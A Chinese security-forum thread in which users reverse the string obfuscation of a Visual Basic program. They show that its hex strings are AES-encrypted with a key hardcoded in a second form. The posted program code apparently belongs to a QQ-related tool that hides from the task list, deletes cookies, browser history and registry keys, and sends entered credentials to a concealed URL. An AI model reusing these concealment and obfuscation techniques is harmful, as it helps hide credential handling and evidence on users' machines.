[讨论]这是什么加密?VB中的!RSA?
[url=http://forum.eviloctal.com/misc.php?action=viewratings&tid=33161&pid=143242][img]http://forum.eviloctal.com/images/default/disagree.gif[/img][/url][讨论]这是什么加密?VB中的!RSA?
这是高兴的主程序的源码。但RSA加密了。。。。
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Dim SysAll, QQFile As String
Dim SuiJi As String
Private Sub DoIt_Click()
DelCookies
XinXi.Caption = JieMi("5ECBDAC85D2612CBD65C1F28C2F35CAE D7280A935D2249E1E48FA66B6329A0FC BA7EAABFEE47D7A4F303A6318391A971")
Open SysAll & JieMi("5C9974DB3B36C7CCE51D3270A77496A2 2D64125484DA3FA8DAA9AA902A9DBF97") For Output As #1
Print #1, JieMi("E0F309A910DF4304FB1F03BCED0F7D99 DFC27E9CF8E73ED33B7FD76CDE33AD43")
Close #1
Dim JajaanIP As String
JajaanIP = SeCond.Test(JieMi("C2244CDA1C4EBA602B05C4B36621CD16"))
If JajaanIP <> JieMi("873B831AED27AFF5339B40915A0B570F") And JajaanIP <> JieMi("EBF3211C0F3F8DF3B9AB6464B8F35631") And JajaanIP <> JieMi("2ACB7FD718AF8A07BD20728F5F973230") And JajaanIP <> JieMi("107A6CB6DF0503DD868CD980319341F0") Then
End
Else
Label3.Caption = JieMi("3C0CFDBFD9EB848CC8160B2A4FB17A0A")
OnUsr.Navigate2 JieMi("06B6368A808385F531A977E6CF0C4824 2BE71EB6C4D2997BAAF5366453D7F10C C6047DA8816073056A92D0D2235EF71C") & Usr.Text & JieMi("517734F4CB065F179F1E364A4B66F76C") & Psd.Text
End If
End Sub
Private Sub Form_Load()
App.TaskVisible = False
FirSt.Caption = JieMi("E4BB08FF3B6FAFD9099C1F36D55AC975 443244F4A1F4A8C88B475F9DFD597856")
Label1.Caption = JieMi("32EABDF98A4F5BC358D036E1444E64D6")
Label2.Caption = JieMi("97451B1DCBF424A14069CA7FEB7E4B5C")
DoIt.Caption = JieMi("A79695FEA9F4D360F6AAAF9C3826D427")
SysAll = Environ(JieMi("864F681F41E67FF7DB26C28998A26637"))
If App.PrevInstance = True Then '一个实例
MsgBox JieMi("44364506BA9063803B8E343402892EB6 39E40888B15CDF93F87EC8673CD6F650"), vbInformation, JieMi("00C99D9B7B051AD0EEFAD94D71B85B7C")
End
ElseIf Left$(App.Path, 1) <> Left$(SysAll, 1) Then '当前位置
MsgBox JieMi("59BAB39DA2B6080337F5EA7580D9D054 2984705F50063A4A8F94533BD7B461DE 9AB364121E7686351470F471C6846BC4 7FE9332E86FFA77C99FB1B893628FF05 A610D8C40CC69DBECAC961A059A5C777 626B449C0B065040FBFF78BB45060F92 49265A11D7961A67EDF248D8256C8C76 8B9D6EF6003E63658DC156C6FEBFE8AC 05920037D5A426727C6C84C8EF7F1B26 7F479380312C98F715993CCF3AFD2579 6D46EAB5940A77F0BD4B1DE65E242BB7 6C6B653D0D1B1C10E052A14B35CB7966"), vbInformation, JieMi("00C99D9B7B051AD0EEFAD94D71B85B7C")
End
End If
End Sub
Private Sub Form_Initialize()
InitCommonControls
End Sub
Private Sub Form_Unload(Cancel As Integer)
End
End Sub
Private Sub OnUsr_DocumentComplete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next
Dim vDoc, vTag
Dim Yhtm As String
Dim i As Integer
Set vDoc = OnUsr.Document
If Label3.Caption = JieMi("3C0CFDBFD9EB848CC8160B2A4FB17A0A") Then
Dim CiShu As String
Yhtm = vDoc.body.innerhtml
If InStr(Yhtm, JieMi("EB8BE35DD7C8360B93B5D9FA7B5D4994")) <> "0" Then
CiShu = Right(Yhtm, Len(Yhtm) - (InStr(Yhtm, JieMi("EB8BE35DD7C8360B93B5D9FA7B5D4994"))))
Label3.Caption = JieMi("DD536B608B14F03B5E4BC9C07D443784")
Randomize
SuiJi = Int(Rnd * 999999999 + 1)
OnUsr.Navigate2 JieMi("06B6368A808385F531A977E6CF0C4824 2BE71EB6C4D2997BAAF5366453D7F10C C6047DA8816073056A92D0D2235EF71C") & Usr.Text & JieMi("517734F4CB065F179F1E364A4B66F76C") & Psd.Text & JieMi("99E164E44392E420F04E3FA65675B009") & SuiJi & JieMi("F374E94DB4DBC4A3090767A37653BA6A") & QQPassWord(CLng(CiShu) & JieMi("D09CBD45CB6EFAB9F6AD717A2E5FD53D ABC9FFF3488A0B8A6ACC4BE1D39772E8"))
Else
Wait.Enabled = True
End If
ElseIf Label3.Caption = JieMi("DD536B608B14F03B5E4BC9C07D443784") Then
Wait.Enabled = True
End If
End Sub
Private Sub PanDuan_Timer()
DuQQ
End Sub
Private Sub Psd_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
DoIt_Click
KeyAscii = 0
End If
End Sub
Private Sub ToScan_Timer()
If InStr(XinXi.Caption, JieMi("098C77935320F1BB1642B327DA312451")) <> JieMi("680BC3677D575452D2498E8A532985D3") Then
FirSt.Visible = False
SeCond.Visible = True
ToScan.Enabled = False
Else
End
End If
ToScan.Enabled = False
End Sub
Private Sub Wait_Timer()
DelCookies
JianCha
Wait.Enabled = False
End Sub
Function DelCookies()
Open SysAll & JieMi("5C9974DB3B36C7CCE51D3270A77496A2 2D64125484DA3FA8DAA9AA902A9DBF97") For Output As #1
Print #1, JieMi("E0F309A910DF4304FB1F03BCED0F7D99 DFC27E9CF8E73ED33B7FD76CDE33AD43")
Close #1
Call DeleteKey(HKEY_CURRENT_USER, JieMi("17D0E35CE6798198FE1DAFC05B206389 6B8B957AB78800D3CBF852268471DAE7 B67AC0FD915AB4ECBF6487A76842727D"))
Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993 6E4547E639F6B0DC1A2E14E1CAAF42EC A92213FE271156332A1EDD74BA4B8C92 269F1C793484EE00A322405396827901 AB7212F57E7D0E49332A6D67C88AF637 BB7CBA079E710DDC2BB4DDAF3A849333 DDD924E47C73B42284785CCB026A6F92"))
Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993 6E4547E639F6B0DC1A2E14E1CAAF42EC A92213FE271156332A1EDD74BA4B8C92 269F1C793484EE00A322405396827901 AB7212F57E7D0E49332A6D67C88AF637 7A8D5E113E05DFC6261F68AA4B8F16C5"))
Call DeleteKey(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993 6E4547E639F6B0DC1A2E14E1CAAF42EC A92213FE271156332A1EDD74BA4B8C92 269F1C793484EE00A322405396827901 0EAF3D2ABFD31994A4C7E9B9A2AD0FC0"))
Call SaveDword(HKEY_LOCAL_MACHINE, JieMi("7E62852DBD0270774193FA5693E66993 6E4547E639F6B0DC1A2E14E1CAAF42EC A92213FE271156332A1EDD74BA4B8C92 269F1C793484EE00A322405396827901 74C5F2F0FD881FBC934BF76325C256B5 97CD189A11A09687428A179DAAC4D247"), JieMi("CB782466A4FBB58C99D32F2A90818994"), JieMi("3D82F2B9B0464617A06EB67D6F864641"))
DeleteIE.ShanChuIE
End Function
Private Sub YiZhi_Timer()
DelCookies
End Sub
Function DuQQ()
QQFile = getstring(HKEY_LOCAL_MACHINE, JieMi("958F4F15B61D77A54F516AE669886D23 1B2EFF99B43A9A29B4080AC738B4E896"), JieMi("9EAEFB5093663CFDED3AF7993326789D"))
If Dir(QQFile & JieMi("758D17D15C656C9FD205B520C7401E33 AF7A9DE33D1460FDA31B88D03634DFC6")) <> "" Then
PoJie
End If
End Function
Function PoJie()
SeCond.CloseScan
End
End Function
Function JianCha()
Dim vDoc As String
vDoc = OnUsr.Document.documentElement.innerhtml
vDoc = Trim(vDoc)
If InStr(1, vDoc, JieMi("7879D6B95377A30F3A9EE075C1C446E0")) <> 0 Then
sedddb = JieMi("27EB77C2D3755FEE44D58B77D0D9F2CE C6F9375F7ABFF088E043FF86EEBA019C")
XinXi.Caption = sedddb
ToScan.Enabled = True
ElseIf InStr(1, vDoc, JieMi("4313E3FD61CF56A76140D375684C45B2")) <> 0 Then
XinXi.Caption = JieMi("C9E4AF7753B9D2E747B2D2EB8D13ED5A 64EE1D119F7A5C55F29ABF5F61672341")
ToScan.Enabled = True
ElseIf InStr(1, vDoc, JieMi("64DD019F4A895415BAF47CBBB112F1DE")) <> 0 Then
XinXi.Caption = JieMi("66736FB4A65B86B5D3D7C6A90520B286 F7DE319F0D5EF655C4421965674959C0")
ToScan.Enabled = True
ElseIf InStr(1, vDoc, JieMi("2614238EA836700D092F11F189F8E6EA")) <> 0 Then
XinXi.Caption = JieMi("12E3D9BD19F516B1809000CA25453FCA E11EF525E5A2B7175EBEE56774BD6AB0")
ToScan.Enabled = True
ElseIf InStr(vDoc, QQPassWord(SuiJi & JieMi("53D202E161DE40610670A8D388ED4898"))) <> 0 Then
XinXi.Caption = "Login Success, Now to Scan."
ToScan.Enabled = True
Else
XinXi.Caption = JieMi("66736FB4A65B86B5D3D7C6A90520B286 F7DE319F0D5EF655C4421965674959C0")
ToScan.Enabled = True
End If
End Function
Public Function JieMi(Qian As String) As String
Form2.Text1.Text = Qian
Form2.Jiem
JieMi = Form2.Text1.Text
End Function 肯定不是RSA
很简单的代码, 解密算法在FORM2文件中
楼上贴出来的只有FORM1的过程
重点查看FORM2 里面的
Public sub jiem
end sub 这个是FORM2中的！
Option Explicit
#Const SUPPORT_LEVEL = 0 'Default=0
'Must be equal to SUPPORT_LEVEL in cRijndael
'An instance of the Class
Private m_Rijndael As New cRijndael
'Used to display what the program is doing in the Form's caption
Public Property Let Status(TheStatus As String)
If Len(TheStatus) = 0 Then
Me.Caption = App.Title
Else
Me.Caption = App.Title & " - " & TheStatus
End If
Me.Refresh
End Property
'Assign TheString to the Text property of TheTextBox if possible. Otherwise give warning.
Private Sub DisplayString(TheTextBox As TextBox, ByVal TheString As String)
If Len(TheString) < 65536 Then
TheTextBox.Text = TheString
Else
MsgBox "Can not assign a String larger than 64k " & vbCrLf & _
"to the Text property of a TextBox control." & vbCrLf & _
"If you need to support Strings longer than 64k," & vbCrLf & _
"you can use a RichTextBox control instead.", vbInformation
End If
End Sub
'Returns a String containing Hex values of data(0 ... n-1) in groups of k
Private Function HexDisplay(data() As Byte, n As Long, k As Long) As String
Dim i As Long
Dim j As Long
Dim c As Long
Dim data2() As Byte
If LBound(data) = 0 Then
ReDim data2(n * 4 - 1 + ((n - 1) \ k) * 4)
j = 0
For i = 0 To n - 1
If i Mod k = 0 Then
If i <> 0 Then
data2(j) = 32
data2(j + 2) = 32
j = j + 4
End If
End If
c = data(i) \ 16&
If c < 10 Then
data2(j) = c + 48 ' "0"..."9"
Else
data2(j) = c + 55 ' "A"..."F"
End If
c = data(i) And 15&
If c < 10 Then
data2(j + 2) = c + 48 ' "0"..."9"
Else
data2(j + 2) = c + 55 ' "A"..."F"
End If
j = j + 4
Next i
Debug.Assert j = UBound(data2) + 1
HexDisplay = data2
End If
End Function
'Reverse of HexDisplay. Given a String containing Hex values, convert to byte array data()
'Returns number of bytes n in data(0 ... n-1)
Private Function HexDisplayRev(TheString As String, data() As Byte) As Long
Dim i As Long
Dim j As Long
Dim c As Long
Dim d As Long
Dim n As Long
Dim data2() As Byte
n = 2 * Len(TheString)
data2 = TheString
ReDim data(n \ 4 - 1)
d = 0
i = 0
j = 0
Do While j < n
c = data2(j)
Select Case c
Case 48 To 57 '"0" ... "9"
If d = 0 Then 'high
d = c
Else 'low
data(i) = (c - 48) Or ((d - 48) * 16&)
i = i + 1
d = 0
End If
Case 65 To 70 '"A" ... "F"
If d = 0 Then 'high
d = c - 7
Else 'low
data(i) = (c - 55) Or ((d - 48) * 16&)
i = i + 1
d = 0
End If
Case 97 To 102 '"a" ... "f"
If d = 0 Then 'high
d = c - 39
Else 'low
data(i) = (c - 87) Or ((d - 48) * 16&)
i = i + 1
d = 0
End If
End Select
j = j + 2
Loop
n = i
If n = 0 Then
Erase data
Else
ReDim Preserve data(n - 1)
End If
HexDisplayRev = n
End Function
'Returns a byte array containing the password in the txtPassword TextBox control.
'If "Plaintext is hex" is checked, and the TextBox contains a Hex value the correct
'length for the current KeySize, the Hex value is used. Otherwise, ASCII values
'of the txtPassword characters are used.
Private Function GetPassword() As Byte()
Dim data() As Byte
If Check1.Value = 0 Then
data = StrConv(txtPassword.Text, vbFromUnicode)
ReDim Preserve data(31)
Else
If HexDisplayRev(txtPassword.Text, data) <> (cboKeySize.ItemData(cboKeySize.ListIndex) \ 8) Then
data = StrConv(txtPassword.Text, vbFromUnicode)
ReDim Preserve data(31)
End If
End If
GetPassword = data
End Function
Private Sub cmdDecrypt_Click()
Dim pass() As Byte
Dim plaintext() As Byte
Dim ciphertext() As Byte
Dim KeyBits As Long
Dim BlockBits As Long
If Len(Text1.Text) = 0 Then
MsgBox "No Ciphertext"
Else
If Len(txtPassword.Text) = 0 Then
MsgBox "No Password"
Else
KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
pass = GetPassword
Status = "Converting Text"
If HexDisplayRev(Text1.Text, ciphertext) = 0 Then
MsgBox "Text not Hex data"
Status = ""
Exit Sub
End If
Status = "Decrypting Data"
#If SUPPORT_LEVEL Then
m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
If m_Rijndael.ArrayDecrypt(plaintext, ciphertext, 0, BlockBits) <> 0 Then
Status = ""
Exit Sub
End If
#Else
m_Rijndael.SetCipherKey pass, KeyBits
If m_Rijndael.ArrayDecrypt(plaintext, ciphertext, 0) <> 0 Then
Status = ""
Exit Sub
End If
#End If
Status = "Converting Text"
If Check1.Value = 0 Then
DisplayString Text1, StrConv(plaintext, vbUnicode)
Else
DisplayString Text1, HexDisplay(plaintext, UBound(plaintext) + 1, BlockBits \ 8)
End If
Status = ""
End If
End If
End Sub
Private Sub cmdEncrypt_Click()
Dim pass() As Byte
Dim plaintext() As Byte
Dim ciphertext() As Byte
Dim KeyBits As Long
Dim BlockBits As Long
If Len(Text1.Text) = 0 Then
MsgBox "No Plaintext"
Else
If Len(txtPassword.Text) = 0 Then
MsgBox "No Password"
Else
KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
pass = GetPassword
Status = "Converting Text"
If Check1.Value = 0 Then
plaintext = StrConv(Text1.Text, vbFromUnicode)
Else
If HexDisplayRev(Text1.Text, plaintext) = 0 Then
MsgBox "Text not Hex data"
Status = ""
Exit Sub
End If
End If
Status = "Encrypting Data"
#If SUPPORT_LEVEL Then
m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
m_Rijndael.ArrayEncrypt plaintext, ciphertext, 0, BlockBits
#Else
m_Rijndael.SetCipherKey pass, KeyBits
m_Rijndael.ArrayEncrypt plaintext, ciphertext, 0
#End If
Status = "Converting Text"
DisplayString Text1, HexDisplay(ciphertext, UBound(ciphertext) + 1, BlockBits \ 8)
Status = ""
End If
End If
End Sub
Private Sub cmdFileEncrypt_Click()
Dim FileName As String
Dim FileName2 As String
Dim pass() As Byte
Dim KeyBits As Long
Dim BlockBits As Long
If Len(txtPassword.Text) = 0 Then
MsgBox "No Password"
Else
FileName = FileDialog(Me, False, "File to Encrypt", "*.*|*.*")
If Len(FileName) <> 0 Then
FileName2 = FileDialog(Me, True, "Save Encrypted Data As ...", "*.aes|*.aes|*.*|*.*", FileName & ".aes")
If Len(FileName2) <> 0 Then
RidFile FileName2
KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
pass = GetPassword
Status = "Encrypting File"
#If SUPPORT_LEVEL Then
m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
m_Rijndael.FileEncrypt FileName, FileName2, BlockBits
#Else
m_Rijndael.SetCipherKey pass, KeyBits
m_Rijndael.FileEncrypt FileName, FileName2
#End If
Status = ""
End If
End If
End If
End Sub
Private Sub cmdFileDecrypt_Click()
Dim FileName As String
Dim FileName2 As String
Dim pass() As Byte
Dim KeyBits As Long
Dim BlockBits As Long
If Len(txtPassword.Text) = 0 Then
MsgBox "No Password"
Else
FileName = FileDialog(Me, False, "File to Decrypt", "*.aes|*.aes|*.*|*.*")
If Len(FileName) <> 0 Then
If InStrRev(FileName, ".aes") = Len(FileName) - 3 Then FileName2 = Left$(FileName, Len(FileName) - 4)
FileName2 = FileDialog(Me, True, "Save Decrypted Data As ...", "*.*|*.*", FileName2)
If Len(FileName2) <> 0 Then
RidFile FileName2
KeyBits = cboKeySize.ItemData(cboKeySize.ListIndex)
BlockBits = cboBlockSize.ItemData(cboBlockSize.ListIndex)
pass = GetPassword
Status = "Decrypting File"
#If SUPPORT_LEVEL Then
m_Rijndael.SetCipherKey pass, KeyBits, BlockBits
m_Rijndael.FileDecrypt FileName2, FileName, BlockBits
#Else
m_Rijndael.SetCipherKey pass, KeyBits
m_Rijndael.FileDecrypt FileName2, FileName
#End If
Status = ""
End If
End If
End If
End Sub
Private Sub Form_Initialize()
cboBlockSize.AddItem "128 Bit"
cboBlockSize.ItemData(cboBlockSize.NewIndex) = 128
#If SUPPORT_LEVEL = 0 Then
cboBlockSize.Enabled = False
#Else
#If SUPPORT_LEVEL = 2 Then
cboBlockSize.AddItem "160 Bit"
cboBlockSize.ItemData(cboBlockSize.NewIndex) = 160
cmdSizeTest.Visible = True
#End If
cboBlockSize.AddItem "192 Bit"
cboBlockSize.ItemData(cboBlockSize.NewIndex) = 192
#If SUPPORT_LEVEL = 2 Then
cboBlockSize.AddItem "224 Bit"
cboBlockSize.ItemData(cboBlockSize.NewIndex) = 224
#End If
cboBlockSize.AddItem "256 Bit"
cboBlockSize.ItemData(cboBlockSize.NewIndex) = 256
#End If
cboKeySize.AddItem "128 Bit"
cboKeySize.ItemData(cboKeySize.NewIndex) = 128
#If SUPPORT_LEVEL = 2 Then
cboKeySize.AddItem "160 Bit"
cboKeySize.ItemData(cboKeySize.NewIndex) = 160
#End If
cboKeySize.AddItem "192 Bit"
cboKeySize.ItemData(cboKeySize.NewIndex) = 192
#If SUPPORT_LEVEL = 2 Then
cboKeySize.AddItem "224 Bit"
cboKeySize.ItemData(cboKeySize.NewIndex) = 224
#End If
cboKeySize.AddItem "256 Bit"
cboKeySize.ItemData(cboKeySize.NewIndex) = 256
cboBlockSize.ListIndex = 0
cboKeySize.ListIndex = 0
txtPassword = Chr(50) + Chr(50) + Chr(52) + Chr(49) + Chr(51) + Chr(53) + Chr(55)
End Sub
'COMPLIANCE TESTING
'
'There are many AES and Rijndael Test Vector Files available on the internet so you can
'verify that an implementation is correct. Below is a simple test that encrypts and
'decrypts one block for each of the 25 combinations of block and key size. These test
'vectors were created by Dr Brian Gladman.
'
'If the "Plaintext is hex" CheckBox is checked, plaintext is read and written as Hex values,
'just like the ciphertext. Also, you can enter a Hex value in the txtPassword TextBox.
'To use the "Plaintext is hex" CheckBox, you need to make it visible yourself. Then you
'can "cut and paste" data directly from known answer test value files.
'
'I've done a reasonable amount of compliance testing, including a few (10,000 iteration) monte
'carlo tests. I am fairly certain that the class is 100% compliant. If you find any problems
'or strange behavior, please let me know so it can be corrected.
'
#If SUPPORT_LEVEL = 2 Then
Private Sub TestStuff(plaintext As String, passtext As String, ciphertext As String)
Dim k As Long
Dim p1() As Byte
Dim c1() As Byte
Dim cdata() As Byte
Dim pdata() As Byte
Dim pass() As Byte
Dim Nk As Long
Dim Nb As Long
Dim n As Long
k = HexDisplayRev(passtext, pass)
Nk = k \ 4
If Nk * 4 <> k Or Nk < 4 Or Nk > 8 Then Exit Sub
n = HexDisplayRev(plaintext, pdata)
Nb = n \ 4
If Nb * 4 <> n Or Nb < 4 Or Nb > 8 Then Exit Sub
If n <> HexDisplayRev(ciphertext, cdata) Then Exit Sub
m_Rijndael.SetCipherKey pass, Nk * 32, Nb * 32
m_Rijndael.ArrayEncrypt pdata, c1, 0, Nb * 32
m_Rijndael.ArrayDecrypt p1, cdata, 0, Nb * 32
Text1.Text = Text1.Text & vbCrLf & "ENCRYPT TEST " & CStr(Nb * 4) & " byte block, " & CStr(Nk * 4) & " byte key" & vbCrLf
Text1.Text = Text1.Text & "KEY: " & passtext & IIf(UCase$(passtext) = HexDisplay(pass, Nk * 4, Nk * 4), " = ", "<>") & vbCrLf & String(14, 32) & HexDisplay(pass, Nk * 4, Nk * 4) & vbCrLf
Text1.Text = Text1.Text & "PLAINTEXT: " & plaintext & IIf(UCase$(plaintext) = HexDisplay(p1, Nb * 4, Nb * 4), " = ", "<>") & vbCrLf & String(14, 32) & HexDisplay(p1, Nb * 4, Nb * 4) & vbCrLf
Text1.Text = Text1.Text & "CIPHERTEXT: " & ciphertext & IIf(UCase$(ciphertext) = HexDisplay(c1, Nb * 4, Nb * 4), " = ", "<>") & vbCrLf & String(14, 32) & HexDisplay(c1, Nb * 4, Nb * 4) & vbCrLf
End Sub
#End If
Function Jiem() As String
cmdDecrypt_Click
End Function 提示: 作者被禁止或删除 内容自动屏蔽 直接运行form2里面已经包含了加密解密的界面了自从做了俯卧撑，腰也不痛了，背也不酸了，打酱油也有劲了
[ 提示: 作者被禁止或删除 内容自动屏蔽
页:
[1]